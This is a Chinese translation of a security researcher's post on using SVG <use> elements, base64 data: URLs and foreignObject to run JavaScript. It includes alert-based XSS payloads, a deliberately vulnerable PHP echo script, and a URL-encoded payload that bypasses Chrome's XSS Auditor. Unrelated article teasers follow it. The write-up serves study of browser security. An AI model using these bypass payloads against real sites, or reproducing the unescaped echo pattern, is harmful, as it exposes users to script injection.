用SVG绕过浏览器XSS审计

[Translated From]:http://insert-script.blogspot.com/2014/02/svg-fun-time-firefox-svg-vector.html======================
SVG - <use> element
======================SVG中的<use>元素用于重用其他元素,主要用于联接<defs>和alike,而我们却用它来引用外部SVG文件中的元素
元素通过其id被引用,在<use>标签的xlink:href属性中以'#'井字符开头,外部元素的引用同样如此
基本结构如下所示:test.html
<svg>
<use xlink:href='external.svg#rectangle' />
</svg>
external.svg:

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>

sxternal.svg文件以<svg>标签开始,其id设置为rectangle(矩形),使用<rect>标签绘一个矩形。可以使用<a>环绕<rect>标签,这样会创建一个超链接。使用Javascript的url协议,可点击的超链接在点击后会执行Javascript。虽然SVG是经由<use>标签加载的,Javascript将会得到执行。有一点需要注意,它只能加载SVG文件,必须满足同源策略======================
FIREFOX
======================
由于加载的外部SVG文件必须是同源的,这个特性看起来似乎无法作为有用的XSS攻击向量,但Firefox会帮我们提升这个攻击向量
首先,你可以使用data:url协议,它允许我们百忙之中从内部创建一个文件。它要求正确的mime-type,在这里为image/svg+xml。mimie-type后是我们的攻击载荷或关键字base64。特别地,由于数据被base64编码,这有助于避免突破HTML结构的问题。
现在我们不必再依赖于服务器上的另一个文件了:
test.html:

<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW
5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI
iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8
YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx
vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG
g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd
mc+#rectangle" />
</svg>

 解码后的base64载荷:

<svg id="rectangle" 
xmlns="http://www.w3.org/2000/svg" 
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>

浏览器会显示出一个黑色的矩形,当点击时会弹出其location
但是为什么要烦扰受害者去点击呢,他们从来都不会去做该做的事:)
external.svg中的<script>标签不会被解析,但是SVG支持<foreignObject>元素
通过阐述这个对象需要的扩展属性,有可能加载非SVG元素
这就意味着现在有可能是有<iframe>、<embed>及其他所有支持的HTML元素了,我们可以从一堆元素中进行选择执行Javascript,这里使用<embed>+JavascriptURL协议
看如下SVG:

<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100"><script>alert(1)</script><foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml"><embed xmlns="http://www.w3.org/1999/xhtml" 
src="javascript:alert(location)" /></foreignObject>
</svg>

它会通过<foreignObject>加载嵌入的标签,使用JavascriptURL协议执行Javascript
然后我们用base64对载荷进行编码,通过data:协议加载它
test.html

<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />
</svg>

在这个案例中,test.html用Firefox27打开,会弹出location:

这样我们在SVG中就有了另一个能执行Javascript的向量了
另外,在攻击载荷中包含了一个<script>alert(1)</script>,这证明了<script>标签不会被解析
======================
CHROME 
XSS Auditor Bypass
======================
现在用这个特性来对付Chrome,Chrome不支持<use>标签xlink:href属性中的data:URL协议,另外目前还没有找到无需用户交互便执行Javascript的方法
不过至少在右用户交互的情况下,可以Bypass Blink/Webkit XSS Auditor
这里不需要用到参数污染,有一个参数就够了,Blink/Webkit XSS Audito无法捕获将参数拆分成两个或多个的XSS攻击
看一下这个php脚本(xss.php):
<?php
echo "<body>";
echo $_GET['x'];
echo "</body>";
?>
这个脚本存在XSS漏洞,但是使用下面这样的载荷则会触发XSS Auditor:
http://site.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg> 

 因此,让我们使用<use>元素吧

======================
Creating the
SVG on the fly
======================
我们想加载另外的SVG文件,因此我们以<svg><use xlink:href= 开始
但是等一下,它必须满足同源,我们不能使用data伪协议,该怎么获取服务器上的文件呢?
很简单,我们在一行中两次利用XSS漏洞!首先,我们构建一个URL,制作一个包含了Javascript URL为伪协议的SVG

http://site.com/xss.php?
x=<svg id="rectangle" 
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100" />
</a>
</svg>

如果你将整个URL粘贴到没有XSS Filter的浏览器,马上就会出现一个黑色的矩形。但是前面已经提到过,Chrome的XSS Auditor会捕获这种攻击,还是继续吧:
现在我们要在<use>元素中使用创建的SVG文件,制造一个形如这样的URL:

http://site.com/xss.php?
x=<svg><use height=200 width=200
xlink:href='http://vulnerabledomain.com/xss.php
?x=<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100"/>
</a></svg>#rectangle'/></svg>

不要忘了进行URL编码:

http://site.com/xss.php?
x=%3Csvg%3E%3Cuse%20height=200%20width=200%20
xlink:href=%27http://site.com/xss.php?
x=%3Csvg%20id%3D%22rectangle%22%20
xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20
xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20
%20%20%20width%3D%22100%22%20height%3D%22100%22%3E
%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E
%3Crect%20class%3D%22blue%22%20x%3D%220%22%20
y%3D%220%22%20width%3D%22100%22
%20height%3D%22100%22%20%2F%3E
%3C%2Fa%3E
%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E

这下应该会显示出矩形了,点击就会执行alert,但是这一次没有触发XSS Auditor :)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/898992.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【构建CV图像识别系统】从传统方法到深度学习

目录 1. 图像的基本概念1.1 像素与色彩1.2 过滤与卷积 2. 图像分类与检测3. 图像特征的提取3.1 全局特征3.2 局部特征3.2.1 边缘&#xff08;Edge&#xff09;3.2.2 角点&#xff08;Corner&#xff09;3.2.3 SIFT 特征 4. 传统方法与深度学习在图像识别中的应用4.1 基于传统方…

Kubernetes高级应用之-重启策略

一、介绍&#xff0b;扩展应用&#xff08;涉及的高级资源在后续会写出来&#xff09; # Kubernetes Pod重启策略&#xff08;RestartPolicy&#xff09;全面解析 ## 一、重启策略的核心价值与重要性 在Kubernetes集群中&#xff0c;Pod重启策略&#xff08;RestartPolicy&a…

简记_单片机硬件最小系统设计

以STM32为例&#xff1a; 一、电源 1.1、数字电源 IO电源&#xff1a;VDD、VSS&#xff1a;1.8~3.6V&#xff0c;常用3.3V&#xff0c;去耦电容1 x 10u N x 100n &#xff1b; 内核电源&#xff1a;内嵌的稳压器输出&#xff1a;1.2V&#xff0c;给内核、存储器、数字外设…

matlab使用fmincon开加速

在使用 fmincon 进行优化时&#xff0c;可以通过以下方法加速优化过程。这些方法主要涉及算法选择、并行计算、减少函数调用次数等。以下是具体建议和实现方式&#xff1a; 1. 选择合适的优化算法 fmincon 支持多种优化算法&#xff0c;不同的算法适用于不同类型的优化问题。选…

MySQL颠覆版系列————MySQL新特性(开启数据库的新纪元)下篇

文章目录 前言五、持久化全局变量5.1 持久化全局变量特点5.2 持久化全局变量实例5.3 持久化全局变量注意事项 六、降序索引&#xff08;Descending Indexes&#xff09;6.1 降序索引&#xff08;Descending Indexes&#xff09;特点6.2 降序索引&#xff08;Descending Indexes…

解析1688.item_search_shop接口:获取店铺所有商品返回数据详细说明

一、引言 在电商领域&#xff0c;获取特定店铺的所有商品信息是运营分析、市场调研和自动化处理的重要基础。1688作为国内领先的B2B电商平台&#xff0c;提供了丰富的API接口供开发者使用。其中&#xff0c;item_search_shop接口允许开发者通过店铺ID获取该店铺的所有商品信息…

新书速览|OpenCV计算机视觉开发实践:基于Python

《OpenCV计算机视觉开发实践:基于Python》 本书内容 OpenCV是一个跨平台计算机视觉和机器学习软件库&#xff0c;也是计算机视觉领域的开发人员必须掌握的技术。《OpenCV计算机视觉开发实践:基于Python》基于Python 3.8全面系统地介绍OpenCV 4.10的使用&#xff0c;并配套示例…

微服务架构中的服务发现与 Consul 实践

在微服务架构中&#xff0c;服务之间的通信是核心问题之一。随着服务数量的增长&#xff0c;如何高效地管理和定位服务实例变得尤为重要。本文将介绍服务发现的基本概念&#xff0c;并详细讲解如何使用 Consul 进行服务注册、发现和健康检查。 1. 什么是服务发现&#xff1f; …

PyTorch 深度学习实战(24):分层强化学习(HRL)

一、分层强化学习原理 1. 分层学习核心思想 分层强化学习&#xff08;Hierarchical Reinforcement Learning, HRL&#xff09;通过时间抽象和任务分解解决复杂长程任务。核心思想是&#xff1a; 对比维度传统强化学习分层强化学习策略结构单一策略直接输出动作高层策略选择选…

车载网络测试实操源码_使用CAPL脚本进行UDS刷写及其自动化测试

系列文章目录 使用CAPL脚本解析hex、S19、vbf文件 使用CAPL脚本对CAN报文的Counter、CRC、周期、错误帧进行实时监控 使用CAPL脚本模拟发送符合协议要求(Counter和CRC)的CAN报文 使用CAPL脚本控制继电器实现CAN线、电源线的通断 使用CAPL脚本实现安全访问解锁 使用CAPL脚本实现…

Spring Boot整合Spring Data JPA

Spring Data作为Spring全家桶中重要的一员&#xff0c;在Spring项目全球使用市场份额排名中多次居前位&#xff0c;而在Spring Data子项目的使用份额排名中&#xff0c;Spring Data JPA也一直名列前茅。Spring Boot为Spring Data JPA提供了启动器&#xff0c;使Spring Data JPA…

JS 应用WebPack 打包器第三方库 JQuery安装使用安全检测

# 打包器 -WebPack- 使用 & 安全 参考&#xff1a; https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA Webpack 是一个模块打包器。在 Webpack 中会将前端的所有资源文件都作为模块处理。 它将根据模块的依赖关系进行分析&#xff0c;生成对应的资源。 五个核心概…

Oracle归档配置及检查

配置归档位置到 USE_DB_RECOVERY_FILE_DEST&#xff0c;并设置存储大小 startup mount; !mkdir /db/archivelog ALTER SYSTEM SET db_recovery_file_dest_size100G SCOPEBOTH; ALTER SYSTEM SET db_recovery_file_dest/db/archivelog SCOPEBOTH; ALTER SYSTEM SET log_archive…

Four.meme是什么,一篇文章读懂

一、什么是Four.meme&#xff1f; Four.meme 是一个运行在 BNB 链的去中心化平台旨在为 meme 代币供公平启动服务。它允许用户以极低的成本创建和推出 meme 代币&#xff0c;无需预售或团队分配&#xff0c;它消除了传统的预售、种子轮和团队分配&#xff0c;确保所有参与者有…

Simula语言的正则表达式

Simula语言中的正则表达式 引言 Simula是一种开创性的编程语言&#xff0c;最初在1960年代由Ole-Johan Dahl和Kristen Nygaard在挪威的计算机中心开发。它不仅是面向对象编程的先驱&#xff0c;还在模拟和各种计算领域有显著的应用。然而&#xff0c;Simula语言本身并不直接支…

Java 集合 List、Set、Map 区别与应用

一、核心特性对比 二、底层实现与典型差异 ‌List‌ ‌ArrayList‌&#xff1a;动态数组结构&#xff0c;随机访问快&#xff08;O(1)&#xff09;&#xff0c;中间插入/删除效率低&#xff08;O(n)&#xff09;‌‌LinkedList‌&#xff1a;双向链表结构&#xff0c;头尾操作…

【第二月_day7】Pandas 简介与数据结构_Pandas_ day1

以下是专为小白设计的 Pandas 简介与数据结构 学习内容&#xff0c;用最通俗的语言和案例讲解核心概念&#xff1a; 一、安装 Pandas 1. 安装方法 打开电脑的命令提示符&#xff08;Windows&#xff09;或终端&#xff08;Mac/Linux&#xff09;输入以下命令并回车&#xff1…

欢迎来到未来:探索 Dify 开源大语言模型应用开发平台

欢迎来到未来&#xff1a;探索 Dify 开源大语言模型应用开发平台 如果你对 AI 世界有所耳闻&#xff0c;那么你一定听说过大语言模型&#xff08;LLM&#xff09;。这些智能巨兽能够生成文本、回答问题、甚至编写代码&#xff01;但是&#xff0c;如何将它们变成真正的实用工具…

python多线程和多进程的区别有哪些

python多线程和多进程的区别有七种&#xff1a; 1、多线程可以共享全局变量&#xff0c;多进程不能。 2、多线程中&#xff0c;所有子线程的进程号相同&#xff1b;多进程中&#xff0c;不同的子进程进程号不同。 3、线程共享内存空间&#xff1b;进程的内存是独立的。 4、同一…

【MySQL报错】:Column count doesn’t match value count at row 1

MySQL报错&#xff1a;Column count doesn’t match value count at row 1 意思是存储的数据与数据库表的字段类型定义不相匹配. 由于类似 insert 语句中&#xff0c;前后列数不等造成的 主要有3个易错点&#xff1a; 要传入表中的字段数和values后面的值的个数不相等。 由于类…